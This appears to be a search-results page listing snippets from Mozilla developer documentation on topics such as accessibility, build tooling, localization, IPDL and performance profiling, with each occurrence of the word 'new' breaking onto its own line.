... forces reference to be released on the main thread. in the content process, forces reference to be released on an mta thread. interceptortargetptr<t> no-op deleter: used to annotate pointers whose reference counts must never be touched. these pointers all use mozilla::uniqueptr under the hood. use the mozilla::mscom::to*uniqueptr functions in ipc/mscom/ptr.h to create
new instances of these. there is also a mozilla::mscom::getter_addrefs() function that allows these pointers to receive outparams. simple example now you know about mainthreadhandoff::wrapinterface and about the smart pointers, you're ready to wrap an interface: accessible* myaccessible = ....; mozilla::mscom::stauniqueptr<iaccessible> acctowrap; myaccessible->getnativeinterface(mozilla::mscom::g...
Software accessibility: Where are we today?
re are a number of potential "gotchas" when developing xul ui. please follow the practical techniques put forth listed in the accessible xul authoring guidelines. these guidelines cover many possible scenarios. if you take a little time to learn them, they will become an unconscious improvement to your design and engineering technique. ...
...uidelines. these guidelines cover many possible scenarios. if you take a little time to learn them, they will become an unconscious improvement to your design and engineering technique. ensure correct keyboard accessibility when developing
new controls: mozilla's xul and html widgets already support proper keyboard accessibility, so let's not regress in that area. make sure that every
new ui control that's developed provides the correct keyboard support. follow the accessible toolkit checklist whenever using xbl to create a
new widget. support msaa and atk via nsiaccessible when developing
new controls: mozilla is a great position to provide context so that custom controls can be made accessible. engineers can provide context simply by creating an nsiaccessible for...
Accessible Toolkit Checklist
expose your ui - a way for assistive technologies such as screen readers, screen magnifiers and voice dictation software to understand your software. provide theme compatibility with the operating system, at least as an option. some low vision users will be running your software with high contrast or large font themes. go beyond section 508. implement true usability for everyone, and make your toolkit follow the guidelines for each platform. ...
...eader won't read the text make sure the caret is never blinking when focus is not in text field handle standard editing keys, such as arrow keys, home, end, pageup, pagedown, ctrl+left/right, shifted keys for selection, delete, ctrl+delete, backspace, ctrl+backspace, ctrl+a, ctrl+b, ctrl+c, ctrl+i, ctrl+u, ctrl+x, ctrl+v, ctrl+[shift]+z in multiline text field, enter key inserts
new line (thus default button no longer shows dark border when multiline text field is focused) in autocomplete text fields, make sure the autocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, and don't use the default system highlight color in the list itself unless it really has focus in autocomplete text fields, make sure that the delete or backspa...
Android-specific test suites
rge.net/index.html and https://docs.gradle.org/2.14/userguide/findbugs_plugin.html for more details. running android-findbugs to run android-findbugs, first build firefox for android with your changes; then run ./mach android findbugs this will run the tests and report the results to stdout, as well as produce an html report. disabling one failing test in general, it's not sensible to allow
new java code to land that findbugs detects issues with. however, the existing configuration can be tweaked and the set of files checked can be modified. contact information android-checkstyle is currently owned by :mcomella and :nalexander. file tickets in the firefox for android product in bugzilla. android-lint ensure that the code avoids common android coding errors. lint is a code scanning ...
...e details. running android-lint to run android-lint, first build firefox for android with your changes; then run ./mach android lint this will lint the code and report the results to stdout, as well as produce an html report. while developing, lint warnings should appear within android studio, although this is not infallible. disabling one failing test in general, it's not sensible to allow
new java code to land that lint detects issues with. however, the existing configuration can be tweaked and some options can be modified. contact information android-lint is currently owned by :sebastian and :nalexander. file tickets in the firefox for android product in bugzilla. ...
Chrome registration
chrome://uri-to-style chrome://stylesheet-uri [flags] note: only stylesheets at chrome uris can be applied in this way. override in some cases an extension or embedder may wish to override a chrome file provided by the application or xulrunner. in order to allow for this, the chrome registration manifest allows for "override" instructions: override chrome://package/type/original-uri.whatever
new-resolved-uri [flags] note: overrides are not recursive (so overriding chrome://foo/content/bar/ with file:///home/john/blah/ will not usually do what you want or expect it to do). also, the path inside overridden files is relative to the overridden path, not the original one (this can be annoying and/or useful in css files, for example). note: there was a bug in gecko 1.8.1.5 (firefox 2.0.0.5...
... overriding chrome://foo/content/bar/ with file:///home/john/blah/ will not usually do what you want or expect it to do). also, the path inside overridden files is relative to the overridden path, not the original one (this can be annoying and/or useful in css files, for example). note: there was a bug in gecko 1.8.1.5 (firefox 2.0.0.5) and earlier where you could not use a relative url for the
new-resolved-uri parameter. you needed to provide an absolute url. see bug 323455. resource aliases can be created using the resource instruction: resource aliasname uri/to/files/ [flags] this will create a mapping for resource://<aliasname>/ uris to the path given. note: there are no security restrictions preventing web content from including content at resource: uris, so take care what yo...
Creating a Firefox sidebar
web publishers can offer visitors a firefox sidebar to encourage their engagement. there are two ways to create a sidebar for firefox users: the social api and an extension. you can choose either depending on your needs and resources. an extension an extension is a kind of add-ons that adds
new functionalities to firefox. there is a wide range of extensions available, and some of them provide a sidebar. such kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser. there are some ways to create an extension: the
new sidebar api has been implemented in firefox 29 as part of the add-on sdk. it's the easiest way to create an extension with a sidebar.obsolete since gecko 57 you can also build a restartless extension yourself with...
...s feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. as of firefox 23, the addpanel and addpersistentpanel functions have been removed from the deprecated, netscape-derived window.sidebar object. that means the ability to add a traditional sidebar panel is no longer available from web content. the
new social api or an extension can be used instead as described above. see also bootstrap addon demo which adds a sidebar with browser for html content: https://gist.github.com/noitidart/8728393 ...
Creating a Language Pack
k, because it is included in the next command. it is only useful if you want to preview the contents of the mergedir. you'll see that it contains the files which in your localization were missing some entities. all other files will be taken from x-testing directly. it's now time to create a langpack with: $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir each time you need to generate a
new langpack, you need to run this command. remember that you need to be in the directory obj-firefox-build/browser/locales. $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir now go to the dist directory to find your langpack ready to use! $ cd ../../dist the xpi file can be found in the directory win32/xpi on windows, linux-i686/xpi or linux-x86_64 on linux or mac/xpi on mac. open the ...
...now preview the contents of the mergedir, you'll see that it contains the files which in your localization were missing some entities. all other files will be taken from en-us directly. it's now time to repackage the en-us binary with $ make installers-x-testing locale_mergedir=$(pwd)/mergedir again, for 64-bit mac, append moz_pkg_platform=mac to this command. each time you want to generate a
new binary (often called a "repack"), you need to run these two commands. remember that you need to be in the directory firefox-build/browser/locales. $ make merge-x-testing locale_mergedir=$(pwd)/mergedir $ make installers-x-testing locale_mergedir=$(pwd)/mergedir at the end of the process, you should see the following success message. mv -f "../../dist/l10n-stage/firefox-3.6b5pre.x-testing.mac...
Creating reftest-based unit tests
path/to/foo.html $ congratulations! you have just created your first reftest! the re-direct and the grep reduce the amount of excess output from the browser. if you built a debug version of the browser, there can be a lot of extra console output. the reftest.list file can be named whatever you want, not necessarily reftest.list (but it has to end with .list). more to do create more reftests.
new tests can be added to the reftest.list file, which can contain any number of tests. the file can include other things, but it does not get very complicated. keep in mind
new tests should fit a 600x600 window so we can test on mobile platforms easier. here is an example. include ../other.list == foo.html bar.html != aaa.html bbb.html the first line, as one might expect, includes another manifes...
...html should not produce visually identical output. more information on this file can be found in the readme.txt referenced below, which was written by the creator of the reftest tool. there is one thing about automated tests that may not be obvious. there is really no way to construct a test that is too small. if you want to check something, and it seems trivial, that is ok. the cost of adding a
new test to an automated suite is very, very low. for tests that are run manually, this is not true. the cost of thinking about and managing the execution of a manual test is fairly high. this is why manual tests tend to get longer, include more steps and ultimately become a long list that actually tests a lot of things. so, create small tests. for example, it occurs to me that we assume that spaces...
Debugging on Windows
ithout the quotes). in vc 7 and 8 this option is called project > properties > debugging > command arguments. vc 8 also allows you to set environment variables there. setting breakpoints in dlls which are not yet loaded in memory vc++ 6.0: go to project > settings..., debug tab and select "additional dlls" from the drop down list. check "locate additional dlls" option. for each dll, click the "
new" button which creates a
new entry and then hit the "..." buttons which lets you browse to the dll. you will only be able to add one dll at a time. vc++ 7.0 automatically finds additional dlls. customizing the debugger's variable value view you can customize how visual c++ displays classes in the variable view. by default vc++ displays "{...}" and you need to click the small + icon to expand th...
...he msvs debugger. for example, to print curent javascript stack to stdout, evaluate this in quickwatch window: {,,xul}dumpjsstack() note: visual c++ will show you something in the quick watch window, but not the stack, you have to look in the os console for the output. also this magical command only works when the vc++ stack is in certain states. it works when you have js_interpret() in the
newest stackframe debugging minidumps see debugging a minidump. debugging tinderbox builds see running windows debug builds problems loading debug symbols if both your application and visual c++ hang shortly after launching the application under the debugger, you may be hitting a known deadlock in the way visual studio downloads debug symbols for the system libraries; see https://connect.micros...
Old Thunderbird build
for additional information, see the build documentation. hardware requirements at least 4 gb of ram. 8 gb or more is recommended. while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram. good internet connection for the initial source download. build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine. ...
...es so you don't skip preparing the mapi headers needed to compile thunderbird. windows build prerequisites gnu/linux build prerequisites mac os x build prerequisites get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a
new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failu...
Obsolete Build Caveats and Tips
purpose of this page the mozilla build process and code base have evolved considerably over the past few years. this has resulted in many caveats and tips being added to the mdn documentation for building older versions of the code base or dealing with older build tools. these tips, while helpful, are jarring and superfluous to the majority of
new mozilla builders who are mainly interested in building the latest version of firefox. therefore, instead of deleting all these nuggets of information, it's best to collect them all here and remove them from the majority happy path documentation. each piece of information should mention the page and the section it originally came from. you can copy in the original text and bold out what has been removed. obsolete caveats and tips from simp...
...k. note that you need service pack 1--for the express edition it is a separate download. visual c++ 8 (vs2005) professional download and install the windows 7 sdk. install this microsoft hotfix to allow linking to work correctly. visual c++ 7.1 or visual c++ 8 (vs2005) express these versions are not supported and the windows 7 sdk will not work with them. you need to upgrade to one of the
newer visual c++ versions above. for gecko 11 or below: you could also download the windows vista sdk and follow the instructions there to allow you to build against it. starting with gecko 12.0, this sdk is necessary. note: while this configuration will probably build on mozilla-1.9.1 and mozilla-1.9.0, it is not supported. warning: due to a bug in old versions of mozillabuild (prior t...
Working with Mozilla source code
oot the vm and build! viewing and searching mozilla source code online learn how to use searchfox, mozilla's online search and browsing tool for accessing the source code. this isn't a good way to download the code, but is a great way to search it. navigating the mozilla source code learn about the various folders in the mozilla source tree, and how to find what you're looking for. bugs for
newcomers if you are
new to the project and want something to work on, look here. interface development guide guidelines and documentation for how to create and update xpcom interfaces. the firefox codebase: css guidelines this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers. svg cleanup gui...
...something to work on, look here. interface development guide guidelines and documentation for how to create and update xpcom interfaces. the firefox codebase: css guidelines this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers. svg cleanup guide guidelines and best practices for shipping
new svgs. try servers mozilla products build on at least three platforms. if you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass. creating a patch once you've made a change to the mozilla code, the next step (after making sure it works) is to create a patch and submit it for review. this article needs to be updated fully for mercurial. ...
Firefox and the "about" protocol
s to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a
new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about:
newtab start page when opening ...
...indow about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about:
newtab start page when opening a
new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:privatebrowsing start pa...
Firefox UI considerations for web developers
firefox's top sites box in this article, we take a look at how to influence the appearance of your site in firefox user interface elements such as the top sites box. ...
...of icons serving as quick links to sites the user commonly visits, or that the user has chosen to pin to the top sites list in order to have quick access to them. each site is represented by an icon and, below it, a name for the site. while both of these can be edited by the user, you may wish to ensure that your site provides a good icon to use in places like this. how an icon is selected the
new tab page chooses icons to use for top sites by trying a series of methods until it obtains an icon to use: a global "top sites" list is checked. this list is created by a mozilla service called tippy top. the data store provided by tippy top includes an optimized icon for each of the sites in the list; if the site is on this list, that icon is used. if tippy top doesn't include the site, fire...
mozbrowsermanifestchange
nly domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...an whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href the url of the
new app manifest. ...
MozBeforePaint
with that value in hand, you can then schedule all your subsequent animation frames. ...
...cript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window. usage outline in order to time your animation, the first thing you need to know is the time base; that is, the time at which your animation sequence started. you can determine this value by looking at window.mozanimationstarttime. this
new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running. with that value in hand, you can then schedule all your subsequent animation frames. whenever you're ready to refresh your animation, you call the window.requestanimationframe() method. once you've call...
Embedding the editor
ameset documents composer should handle documents with <iframe>s. composer shouldn't rely on certain xul document structure proposed solutions fixing editor rooting as described above, editor rooting needs to be changed so that an editor lives on top of an nsdocshell, rather than hanging off the nseditorboxobject. there is a docshell for each editable <iframe>. this will involve: making a
new interface, nsieditorframe, that is implemented by nsdocshell or a related class. you should be able to qi from nsidocshell to one of these; if this succeeds, it indicates that the frame is editable. nsieditorframe should contain methods for getting the editing session, and doing some generic editor-related stuff (probably common to html and plain text editing). a subset of nsieditorshell will pro...
... be updated on focus changes. ensure that each editor is properly constructed on window setup, and torn down on window destruction. ensure that window close tests (e.g. calling window.trytoclose) appropriately consult each editor for state. insulating editor from the chrome composer needs to not know anything about the ui that is driving it. the plan is to insulate composer from the ui via a
new interface that the embedder implements. any ui that is now thrown up by composer should go through this interface. use a
new interface, nsieditoruserinterface, to mediate communication between the editor and the ui. an embedder would need to implement this to get native toolbars and menus to work. in composer, we'd have an implementation in js that talks to the existing commands, and updates t...
Roll your own browser: An embedding how-to
you should not need to, and should not, use embedding/config. what bits do i need? one of the requirements of building a sdk is the ability to identify and package up required files. like that isn't totally obvious, nonetheless it has to be done. here is that effort. i have created a directory under embedding called config. contained within this directory are a couple of makefiles: basebrowser-unix basebrowser-win the xpinstall packager follows the same format. however in our case, we only have one named xpi package. ...
...development environment, based on mozilla's xul. (screenshot) light: very simple non-bloated gtk+ interface, familiar netscape 4.x keyboard shortcuts, context menus, etc. (screenshot) xparts: kde extension that allows mozilla to be embedded into the konqueror browser. uses gtkmozembed widget, part of the kdebindings module and available from http://websvn.kde.org/trunk/kde/kdebindings/xparts/. (
news release, screenshot) mozilla examples gtkmozembed widget: gtk widget wrapper for the mozilla gecko engine. testgtkembed: basic browser built with the gtkmozembed widget. url location field, menu bar, html area, supports ssl. windows external projects k-meleon browser: the windows answer to galeon. fast ie-look-alike browser, uses ie and ns bookmarking system, fast loading time, priva...
Embedding Mozilla
documentation gecko embedding basics an introduction to embedding the gecko rendering engine. embedding tips some frequently asked questions about embedding. ...
...describes the current state of editor embeddability, problems with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfil them. roll your own browser - an embedding howto a quick introduction to embedding mozilla. view all... community view mozilla forums... mailing list
newsgroup rss feed #embedding irc channel related topics gecko, xpcom ...
IPDL Best Practices
this document is intended to help correct these before the formal review process is initiated. lifetime management ensure ipdl deletes your protocol all protocols must be deleted. period. are you sending the __delete__ message to trigger protocol deletion? this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. using ipdl generated structs as data structures outside of ipc serialization/deserialization ipdl generated structures are meant to facilitate serialization/deserialization and message passing. ...
... specifically, because allocpprotocol and deallocpprotocol are asymmetric, if ipdl ends up shutting down the protocol tr...
Extending a Protocol
pp files, starting with windowglobalparent.cpp. implementing methods on windowglobalparent.cpp open up dom/ipc/windowglobalparent.cpp and let's implement: allocpechoparent() deallocpechoparent(pechoparent* aactor) so, let's add: already_addrefed<echoparent> windowglobalparent::allocpechoparent() { puts("windowglobalparent::allocpechoparent was called"); refptr<echoparent> actor =
new echoparent(); return actor.forget(); } bool windowglobalparent::deallocpechoparent( pechoparent* aactor) { refptr actor = dont_addref(static_cast(aactor)); return true; } the "puts()" there will help us see what's going on once we get things going. naturally, we want to remove that once we done implementing. implementing methods on windowglobalchild.cpp so, now we need to do ...
...at's going on once we get things going. naturally, we want to remove that once we done implementing. implementing methods on windowglobalchild.cpp so, now we need to do the child. open up dom/ipc/windowglobalchild.cpp and let's implement: allocpechochild() deallocpechochild(pechochild* aactor) already_addrefed<echochild> windowglobalchild::allocpechochild() { refptr<echochild> actor =
new echochild(); return actor.forget(); } bool windowglobalchild::deallocpechochild(pechochild* actor) { delete actor; return true; } and now finally, let's implement echochild.cpp and echoparent.cpp. implementing echochild.cpp this is a little one. create dom/ipc/echochild.cpp and implement: #include "echochild.h" namespace mozilla { namespace dom { echochild::echochild() : mactoralive...
DownloadList
ovefinished([optional] function afilterfn); methods getall() retrieves a snapshot of the downloads that are currently in the list. the returned array does not change when downloads are added or removed, though the download objects it contains are still updated in real time. promise<array<download>> getall(); parameters none. promise resolves to an array of download objects. add() adds a
new download to the end of the items list. note: when a download is added to the list, its onchange event is registered by the list, thus it cannot be used to monitor the download. to receive change notifications for downloads that are added to the list, use the addview() method to register for ondownloadchanged notifications. promise add( download adownload ); parameters adownload ...
... undefined when the download has been added. remove() removes a download from the list. if the download was already removed, this method has no effect. promise remove( download adownload ); parameters adownload the download object to remove. promise resolves to undefined when the download has been removed. addview() adds a view that will be notified of changes to downloads. the
newly added view will receive ondownloadadded notifications for all the downloads that are already in the list. promise addview( object aview ); parameters aview the view object to add. the following methods may be defined: ondownloadadded: optional this function is called with a single download argument, after the download is added to the end of the list. ondownloa...
FileUtils.jsm
the fileutils.jsm javascript code module offers utility routines dealing with files. ...
...true if links should be followed, false otherwise location specified. return value returns a nsifile object for the location specified. if the directory requested does not exist, it is created, along with any parent directories that need to be created. note: if you want to use the full path to get to the directory you cannot use getdir. instead use the file constructor, so simply: var dir =
new fileutils.file('c:\\blah\\blah'); if (dir.exists()) { //yes directory exists } openfileoutputstream() opens a file output stream for writing. the stream is opened with the defer_open nsifileoutputstream.behavior flag constant this means the file is not actually opened until the first time it's accessed. nsifileoutputstream openfileoutputstream( nsifile file, int modeflags ); paramet...
PerfMeasurement.jsm
that occurred. cpu_migrations 0x00000400 measure the number of context switches that occurred. all 0x000007ff measure all available events. number of available event types the num_measurable_events constant tells you how many types of events can be measured. constant value description num_measurable_events 11 the number of types of events that can be measured. ...
...methods canmeasuresomething() indicates whether or not the platform on which your code is running supports this code module. static bool canmeasuresomething(); parameters none. return value if even one of the event types can be recorded, this will return true. otherwise, it returns false. ...
Deferred
methods resolve() fulfills the associated promise with the specified value, or propagates the state of an existing promise. if the associated promise has already been resolved, either to a value, a rejection, or another promise, this method does nothing. ...
... methods resolve() fulfills the associated promise with the specified value, or propagates the state of an existing promise. if the associated promise has already been resolved, either to a value, a rejection, or another promise, this method does nothing. ...
Index
n the technical aspects involved in localization. 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. 3 bootstrapping a
new locale localization, mercurial, translate, bit bucket (see also https://developer.mozilla.org/en/create_a_
new_localization) 4 encodings for localization files internationalization, localization when creating a localization for mozilla products, it’s important to be aware of the encoding of the files that you generate. 5 index localization foun...
...ve tool that requires little to no technical skill to use in the l10n workflow. here we'll discuss how to use pontoon to localize projects, from first sign-in to finalizing your contributions. along the way, we'll point out some sweet features that will make you more efficient and make your l10n contributions easier. 27 localizing without a specialized tool from the create a
new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to c...
Localizing extension descriptions
all of the different descriptions now appear in the install.rdf file using em:localized properties. ...
...all of the different descriptions now appear in the install.rdf file using em:localized properties. ...
Uplifting a localization from Central to Aurora
to reproduce. prerequisites: merge tool. you really want a merge tool for this. i use kdiff3; you may choose your own based on what you read at http://mercurial.selenic.com/wiki/mergeprogram a clone of your central repo. let's pretend it's at l10n-central/ab-cd. a clone of your aurora repo. ...
...t up a
new local clone of your central repo hg clone l10n-central/ab-cd workrepo cd workrepo # pull in the changesets you have on aurora hg pull -r default ../releases/l10n/mozilla-aurora/ab-cd now, there are two routes forward: 1) things are pretty silent. good luck, you're basically done. all you need to do is to push from your l10n-central clone to your aurora repo. 2)
new heads, you need to merge. this looks something like searching for changes adding changesets adding manifests adding file changes added 22 changesets with 23 changes to 46 files (+1 heads) (run 'hg heads' to see heads, 'hg merge' to merge) ok, let's make sure we're not talking relbranches: hg heads --template '{node} {branches}\n' this is printing something like ...
Creating localizable web applications
not to use gettext on some pages (e.g. because they contain a lot of text and localizing source html is easier), make sure to keep the code responsible for application logic separate from the localizable content. the logic of the website should not be exposed directly in the localization files, to avoid any accidental changes by localizers. snippet 1. bad: require_once('lib/user.php'); $user =
new personauser(); snippet 2. good: require_once('templates/footer.php'); if it's not possible to remove the app logic code, you should consider using gettext. gettext extracts localizable content form the source files, thus making it impossible for localizers to accidentally change them. you can learn more about the choice of the format for your project at file formats. text messages don't hard...
...depending on the grammar of their language. use printf() for string substitution whenever there is content that will change, either upon interpretation of the code or as part of development, don't use concatenation. instead, use printf() and string formatting. for instance, don't put uris into msgid's. if you do, if the static uri changes, you'll have to regenerate the *.po files to include the
new msgids. snippet 1. bad: <?= _("view a sample persona header <b><a href=\"/static/img/persona_header_labs.jpg\">here</a></b>.");?> snippet 2. good: <?php printf(_("view a sample persona header <b><a href=\"%s\">here</a></b>."), '/static/img/persona_header_labs.jpg'); ?> snippet 3. bad: <p><?=_("if you are interested in supporting the approval process by becoming an approver, please email <...
Creating localizable web content
ually correct for an international audience (e.g., mentions of en-us specific product pieces like specific search engines or dictionary should be adapted) look for strings that are likely hard to translate because they are unclear, use play on words or colloquialisms. depending on context, find alternate strings or document an explanation of the string for localizers check that we don't link in
new pages to sub-pages with anchors. e.g.: a
new page is announced with only 100 words but it is actually content added to an existing page in english. happens for things like faq, or video pages for example. for video, use the code to display the video in an overlayed video player on the page instead of linking to a video section in english. per-locale customizations check if there are alternativ...
...eo in an overlayed video player on the page instead of linking to a video section in english. per-locale customizations check if there are alternative links for localized pages (e.g., links to mdn, addons.mozilla.org, or other external resources, are there translated equivalents we can use). if there are alternatives, use them by adding the $lang; parameter in the urls evaluate the impact of
new pages on all our web properties, especially links to community sites and redirects. sometimes you can leave some freedom of modification for a block of text so that the localizers link to relevant local resources. images check that images are not going to be a problem for the audience (cultural references, positionning, mirroring for rtl, text in images...) and spot what sizes/margins can be t...
Writing localizable code
tandards and should not require build tools to be transformed. if you want to add build processing to localized files, be sure to request feedback from l10n@. in most cases, you can just as well put the processing into the content code and reference different key-value pairs in l10n. use a good source directory structure be sure to put the localizable files in the right place. the addition of
new top-level directories is a compromise between module ownership in the cvsroot repository and the ease of localization. use a good chrome directory structure for a particular module mod, a target path jar:ab-cd.jar!/locale/ab-cd/mod/foo.dtd has been widely tested and is a good place for your files referenced as chrome://mod/locale/foo.dtd. using a directory structure like this eases the locali...
...ded to extension authors. jar manifests can make this easy. l10n impact on frozen trees, there is the rule to not check in l10n-impact changes. so what does that mean? l10n-impact is any change to mozilla/@mod@/locales; localizers find out if they have to catch up on changes by doing bonsai queries, just as everybody else does. no change means that this query result is empty. any changed or
new use of existing localized strings; anything that triggers a qa cycle on our 40+ localizations is l10n-impact. ...
Mozilla Framework Based on Templates (MFBT)
the mozilla framework based on templates ("mfbt") is the central repository for macros, functions, and data structures used throughout mozilla code, including in the javascript engine. its code resides in the mfbt/ source directory, but headers within it should be included using paths like "mozilla/standardinteger.h". it is fairly
new, so its functionality is currently sparse. feel free to file bugs to add
new functionality to it, or to move existing functionality into it, as needed. mfbt code goes to some length to document all its interfaces in comments, including examples when possible. it also attempts to define its functionality in well-named files, such that simply skimming the contents of mfbt/ will quickly suggest the relevant header to examine. therefore this document primar...
... compile-time assertions. guardobjects.h provides macros which can be used to annotate an raii-style guard class, so that any attempt to create an unnamed temporary for it will assert. (an unnamed temporary lives for a shorter period of time than the scope where it's found, so it usually isn't what was desired.) data structures linkedlist.h implements a type-safe doubly-linked list class. most
new code should use this rather than prclist. rangedptr.h implements rangedptr, a smart pointer template whose value may be manipulated only within a range specified at construction time, and which may be dereferenced only at valid locations in that range. this pointer is a useful way to expose access to values within an array. refptr.h implements various smart pointer templates to simplify refere...
Mozilla Development Strategies
re affected by regressions unless you are the type to go out and tackle daily regressions, you need to find a way to not let them affect you. you don't want to have one tree, update it every morning, and then be stuck waiting for blockers to clear. have multiple trees. at least one of them should be updated every day. you'll need this one for regressions that require your immediate attention (a
new crasher, a blocker, or problem in your area, for example). use this same tree for small, quick bugs or recent regressions or crashers. for your other tree, don't update as often. update when you know that the tree is in good shape. do your primary development in this tree. you'll need to update, rebuild, re-test and make a diff against the current trunk once you feel your fix is done. but, daily ...
... land it because something else is blocking you. you can still land (assuming you get reviews) if the code isn't on by default. this also makes it easier to get help on the problem. it's easier to tell someone set a pref, or apply a small patch, or set a #define than to apply a monster patch. for c++, use #define, #ifdef, #else and #endif for xul / js, and you're doing something major, add your
new files to the tree and then have it be a simple jar.mn patch to enable it. you can also have code that checked in, but controlled with a pref and off by default. make sure you have the right fix when you go for reviews when tempted to do a first pass fix and fix the fallout later, do it right the first time; don't assume you'll be able to file a "fix it" bug and fix stuff you know about later -...
Scroll-linked effects
itor. in order to do so, we need you (yes, you!) to tell us more about the kinds of scroll-linked effects you are trying to implement, so that we can find good ways to support them in the compositor. currently there are a few proposals for apis that would allow such effects, and they all have their advantages and disadvantages. ...
...as of this writing, mozilla does not plan to support this proposal, but it is included for completeness. call to action if you have thoughts or opinions on: any of the above proposals in the context of scroll-linked effects. ...
TraceMalloc
to enable tracemalloc in your build, configure with --enable-trace-malloc. ...
...82 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be categorized by type), sorted by size. also, your javascript can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files. tracemallocenable() - turn on tracing. tracemallocopenlogfile(filename) - open a
new log file and return its log file descriptor (or -1 on error). tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning the previous fd (so you can maintain a number of open files; keep their fds in a js array!). tracemalloccloselogfd(logfd) - close the log file identified by logfd, flushing its buffer of any events first. if logfd identifies the curr...
Performance
illa code. profiling with concurrency visualizer how to use visual studio's concurrency visualizer tool to profile mozilla code. profiling with zoom zoom is a profiler for linux done by the people who made shark measuring performance using the perfmeasurement.jsm code module using perfmeasurement.jsm to measure performance data in your javascript code. adding a
new telemetry probe information on how to add a
new measurement to the telemetry performance-reporting system profiling javascript with shark (obsolete - replaced by instruments) how to use the mac os x shark profiler to profile javascript code in firefox 3.5 or later. profiling with shark (obsolete - replaced by instruments) how to use apple's shark tool to profile mozilla c...
... how to use apple's shark tool to profile mozilla code. investigating css performance how to figure out why restyle is taking so long power profiling power profiling overview this page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches. it should be the starting point for anybody
new to power profiling. tools/power/rapl (mac, linux) tools/power/rapl is a command-line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory. powermetrics (mac-only) powermetrics is a command-line utility that gathers and displays a wide range of global and per-process measurements, including cp...
Patches and pushes
ions, visit the opensearch wiki page and the mozsearch wiki page. the pages are old (i mean, firefox 2???), but still accurate. each plugin has an icon image which is linked within the xml file as an uri id. upload your plugins icon image to data kitchen to obtain its uri id and add to the xml file within the image tag. in list.txt, add the search plugin's xml filename (without extensions) on a
new line and save. note that if your team selects a local version of an already default plugin (e.g., wikipedia), the xml filename should include the locale code (e.g., wikipedia-es). create a patch of the searchplugins directory by entering the following command in your command-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozi...
...etails, select the ? from the dropdown menu next to the review flag. this will display a text box to assign the review to someone. enter :flod as the requestee. review, commit, & land address any review comments made by the reviewers and update the patch until it receives an r+ rating. if the r+ is "with nits" (i.e., that's short for nit-picky requests), fix those before committing. also, no
new patch attachment will be needed. commit the patch to your aurora repo. only commit the changes you have reviewed. use a commit message that mentions the bug number, describes the change, and mentions the reviewer. for example: hg ci -m "bug 654321, copied the comment from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the url to your change in ...
Research and prep
he market, work in the language, and know your users. this is, therefore, meant to be a guideline for how you should be formulating your recommendations. here's the basic process: file a bug under mozilla localizations>[your_locale] to request updates to your locale's productization preferences. if this is your first localization for a product, the l10n drivers will file this bug as part of the
new product localization release process. it is your l10n team's responsibility to perform research and identify the most appropriate web services for your region and present them in your bug as your informed recommendations. if there's no existing collaboration with the site provider and mozilla, ask for permission from the site provider to include it. ensure that your suggestions follow these pa...
...le (indexing a smaller portion of the www but producing better local language results). local search a good test is if you were to run a set of comparative queries; the secondary engine should produce the best local language results and the primary/default position should produce the best global results. e-commerce search these search engines should allow users to get connected to
new and used products they want to buy as quickly and painlessly as possible in a "trusted" site -- for example, choosing the most popular auction, general shopping, or classified type sites that have the desired user experience are good choices. there should be no more than two. specific interest search where users are using popular search engines to search more specific areas of interest th...
L20n HTML Bindings
document element will fire a documentlocalized event, which you can listen to: document.addeventlistener('documentlocalized', function() { // the dom has been localized and the user sees it in their language yourapp.init(); }); exposing context data you can expose important bits of data to the localization context in form of context data. <script type="application/l10n-data+json"> { "
